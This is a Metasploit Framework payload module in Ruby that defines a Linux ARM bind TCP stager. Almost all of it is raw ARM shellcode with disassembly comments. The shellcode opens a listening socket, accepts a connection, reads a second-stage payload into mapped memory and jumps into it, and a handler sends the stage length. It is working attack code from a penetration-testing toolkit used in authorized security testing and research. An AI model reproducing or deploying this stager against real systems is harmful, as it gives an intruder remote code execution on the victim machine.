Linux dup2 Command Shell, Bind TCP Stager

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


###
#
# BindTcp
# -------
#
# Linux bind TCP stager.
#
###
module MetasploitModule

  CachedSize = 232

  include Msf::Payload::Linux::Armle::Prepends
  include Msf::Payload::Stager

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Bind TCP Stager',
      'Description'   => 'Listen for a connection',
      'Author'        => 'nemo <nemo[at]felinemenace.org>',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_ARMLE,
      'Handler'       => Msf::Handler::BindTcp,
      'Stager'        =>
        {
          'Offsets' =>
            {
              'LPORT' => [ 214, 'n'    ],
            },
          'Payload' =>
          [
            0xe59f70d4,           # ldr     r7, [pc, #212]
            0xe3a00002,           # mov     r0, #2
            0xe3a01001,           # mov     r1, #1
            0xe3a02006,           # mov     r2, #6
            0xef000000,           # svc     0x00000000
            0xe1a0c000,           # mov     ip, r0
            0xe2877001,           # add     r7, r7, #1
            0xe28f10b0,           # add     r1, pc, #176
            0xe3a02010,           # mov     r2, #16
            0xef000000,           # svc     0x00000000
            0xe2877002,           # add     r7, r7, #2
            0xe1a0000c,           # mov     r0, ip
            0xef000000,           # svc     0x00000000
            0xe2877001,           # add     r7, r7, #1
            0xe1a0000c,           # mov     r0, ip
            0xe0411001,           # sub     r1, r1, r1
            0xe1a02001,           # mov     r2, r1
            0xef000000,           # svc     0x00000000
            0xe1a0c000,           # mov     ip, r0
            0xe24dd004,           # sub     sp, sp, #4
            0xe2877006,           # add     r7, r7, #6
            0xe1a0100d,           # mov     r1, sp
            0xe3a02004,           # mov     r2, #4
            0xe3a03000,           # mov     r3, #0
            0xef000000,           # svc     0x00000000
            0xe59d1000,           # ldr     r1, [sp]
            0xe59f3070,           # ldr     r3, [pc, #112]
            0xe0011003,           # and     r1, r1, r3
            0xe3a02001,           # mov     r2, #1
            0xe1a02602,           # lsl     r2, r2, #12
            0xe0811002,           # add     r1, r1, r2
            0xe3a070c0,           # mov     r7, #192
            0xe3e00000,           # mvn     r0, #0
            0xe3a02007,           # mov     r2, #7
            0xe59f3054,           # ldr     r3, [pc, #84]
            0xe1a04000,           # mov     r4, r0
            0xe3a05000,           # mov     r5, #0
            0xef000000,           # svc     0x00000000
            0xe2877063,           # add     r7, r7, #99
            0xe1a01000,           # mov     r1, r0
            0xe1a0000c,           # mov     r0, ip
            0xe3a03000,           # mov     r3, #0
            0xe59d2000,           # ldr     r2, [sp]
            0xe2422ffa,           # sub     r2, r2, #1000
            0xe58d2000,           # str     r2, [sp]
            0xe3520000,           # cmp     r2, #0
            0xda000002,           # ble     811c <last>
            0xe3a02ffa,           # mov     r2, #1000
            0xef000000,           # svc     0x00000000
            0xeafffff7,           # b       80fc <loop>
            0xe2822ffa,           # add     r2, r2, #1000
            0xef000000,           # svc     0x00000000
            0xe1a0f001,           # mov     pc, r1
            0x5c110002,           # .word   0x5c110002
            0x00000000,           # .word   0x00000000
            0x00000119,           # .word   0x00000119
            0xfffff000,           # .word   0xfffff000
            0x00001022            # .word   0x00001022
          ].pack("V*")

        }
      ))
  end

  def handle_intermediate_stage(conn, payload)

    print_status("Transmitting stage length value...(#{payload.length} bytes)")

    address_format = 'v'

    # Transmit our intermediate stager
    conn.put( [ payload.length ].pack(address_format) )

    return true
  end
end